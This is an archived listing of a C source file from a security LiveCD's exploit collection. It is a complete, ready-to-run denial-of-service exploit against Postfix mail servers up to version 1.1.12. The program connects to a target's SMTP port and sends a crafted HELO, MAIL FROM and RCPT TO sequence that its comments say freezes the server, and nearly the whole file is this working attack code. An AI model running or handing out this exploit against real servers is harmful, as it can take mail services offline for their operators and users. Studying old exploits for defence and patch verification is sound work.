home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / postfix / postfixdos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  86 lines

  1. /*
  2.  postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl>
  3.  ------------------------------------------------
  4.  remote/local Postfix up to (including) 1.1.12 DoS
  5.  discovered by lcamtuf <lcamtuf@coredump.cx>
  6. */
  7.  
  8. #include <stdio.h>
  9. #include <stdlib.h>
  10. #include <string.h>
  11. #include <sys/types.h>
  12. #include <sys/socket.h>
  13. #include <netdb.h>
  14. #include <netinet/in.h>
  15. #include <unistd.h>
  16. #include <arpa/inet.h>
  17.  
  18. int sock = 0;
  19.  
  20. void get_response(void);
  21. void say(char *it);
  22.  
  23. int main(int argc, char* argv[]) {
  24.     struct hostent *hp;
  25.     struct sockaddr_in addr;
  26.  
  27.     printf("postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl>\n");
  28.  
  29.     if (argc<2) {
  30.         printf("usage: %s <smtpserver>\n", argv[0]);
  31.         exit(0);
  32.     }
  33.  
  34.     hp=gethostbyname(argv[1]);
  35.  
  36.     if (!hp) {
  37.         printf("can't resolve %s\n", argv[1]);
  38.         exit(0);
  39.     }
  40.  
  41.     bzero((char *)&addr, sizeof(addr));
  42.  
  43.     if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  44.         printf("can't create socket\n");
  45.         exit(0);
  46.     }
  47.  
  48.     bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length);
  49.     addr.sin_family=AF_INET;
  50.     addr.sin_port=htons(25);
  51.  
  52.     if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) {
  53.         printf("can't connect to %s\n", argv[1]);
  54.         close(sock);
  55.         exit(0);
  56.     }
  57.  
  58.     get_response();
  59.  
  60.     say("helo host\r\n");
  61.     say("mail from: <.!>\r\n");
  62.     say("rcpt to: <someuser123@[127.0.0.1]>\r\n");
  63.     /* now should be freezed */
  64.  
  65.     shutdown(sock, 2);
  66.     close(sock);
  67.  
  68.     printf("done.\n");
  69.  
  70.     return 0;
  71. }
  72.  
  73. void get_response(void) {
  74.     char buff[64];
  75.     recv(sock, buff, sizeof(buff), 0);
  76.     if (buff[0]!='2' && buff[0]!='3') printf("%s", buff);
  77. }
  78.  
  79. void say(char *it) {
  80.     send(sock, it, strlen(it), 0);
  81.     get_response();
  82. }
  83.  
  84.  
  85.  
  86.